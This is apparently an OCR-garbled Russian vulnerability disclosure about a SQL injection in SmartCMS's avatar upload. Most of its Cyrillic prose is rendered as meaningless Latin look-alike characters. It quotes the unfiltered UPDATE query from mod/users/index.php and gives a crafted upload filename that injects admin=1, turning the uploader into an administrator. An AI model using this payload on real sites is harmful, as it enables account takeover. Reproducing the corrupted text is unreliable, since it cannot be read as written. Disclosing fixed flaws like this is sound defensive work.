He tak naBHO Haueit komaHa0# ObuTa 0OOHapyxeHa ys3BUMOCTh THIa SQL-injection B 3Toit CMS. B nybnuunbie
WCTOYHUKH JaHHasi MH(OpMaIys He Moraiaia IoTOMY YTO aHaJIN3 MbI ITPOBOIUIIH 110 TipockOe aBropa SmartCMS. Ho ceiiuac
YS3BUMOCTb YK€ UCIIPABJICHA U TI03TOMY MOXKHO 3Ty HH(pOPMAIHIO pacKpbiTh. CyTh YA3BUMOCTH B TOM 4TO IIPH 3arpy3Kke aBarapa
HUKaK He (PUIBTPOBANIOCH HMS 3arpykaeMoro ¢aiina. M3-3a 3Toro, oTIpaBuB (Gaili co CIEHaTbHO CPOPMUPOBAHHBEIM HMEHEM,
MO>KHO OBIIO TIOTy9IHTh NTPaBa aAMUHHUCTPATOpPa Ha TEKYIIUH aKKayHT .

Paccmorpum ya3BuMslit ko, OH pacrionoxet B daiine "mod/users/index.php" B crpokax 244-250:
$int = Sdb->query("UPDATE ".$pr."_users set email = '$email’,

website = '$Swebsite’,

icq = 'Sicq',

land = '$Sland’,

avatar = '$ava’,

interes = 'Sinteres’,

age = '$age' where uname = 'Suname'");
Kaxk Buaute uMs aBaTapa, mpo KOTOPOE sl TOBOPHJI, HAXOMUTCs B epeMeHHoH "$ava". [laHHas nepeMeHHas GOpMHUPYeTCs BBIIIE O
Kony B cTpoke 196:
Sava =§_FILES['avfile'];
To ects unpopmanus naxonsuasics B §_FILES['avfile'] Hukakum oOpazoM He ¢puibTpyeTcst u He nposepsiercsi. [Tonydaercst uto
MbI MOXXEM IIOTIBITAaTECA BBECTH Tyda BC€ UTO YroaHo.

DKCIUIONTOM, OTOCIaHHBIM Pa3pabOTUMKy ObLIA BOT TaKas CTPOKA 3arpy3Ku (Qaiia:

C:\tes'.admin=1.interes="t.jpg
Takyro CTpOKy, B IoJIe 3arpy3KHu aBarapa, MOXHO BBECTH B JIF0OOM Opay3epe, T03TOMY IKCIIIOHTaM SBJsIach IMEHHO OHa.

[pu 3arpy3Ke OT 3TOH CTPOKM OTpE3aNNCh MepBbIe 3 cuMBOJIA (0003HAYEHHUE JUCKA), a BCE OCTAIBHOE TIOIAalo K
CKpHUNTY 3arpy3ku. [laBaiite mocMoTpuM uTO OYAET €l BBECTH MOJOOHBIH TEKCT MPSMO B 3aIpoc (3a MECTO JPYTHX MEePEeMEHHbIX
MPOCTO OCTaBUM HYJIN):

UPDATE users set email ="'0"',

website ='0',

icq="0",

land ="'0',

avatar = 'tes'.admin=1,interes='t.jpg’,

interes ="'0',

age ="'0' where uname ="'0'
[Moxydaetcst 4TO MBI CBOOOHO TOCTPOMIIH 3allpOC M 'y HAILIETO IoJIb30Barelis 3HaueHue noss "admin" n3menunnocs ¢ "0" Ha "1".
CrenoBarenbHO TEKYIINH [10b30BaTENb CTall 3 JMUHUCTPATOPOM.

Bawm ciexyer oOpariTh BHUMaHKE Ha TO YTO OTCYTCTBHE (DUIIBTPAIIMU UMEHHU 3arpyxaemMoro (daiina 10BoJIbHO
pacnpoctpanénHas omunbka cpean CMS, popyMOB U ITPOYUX CKPHIITOB.
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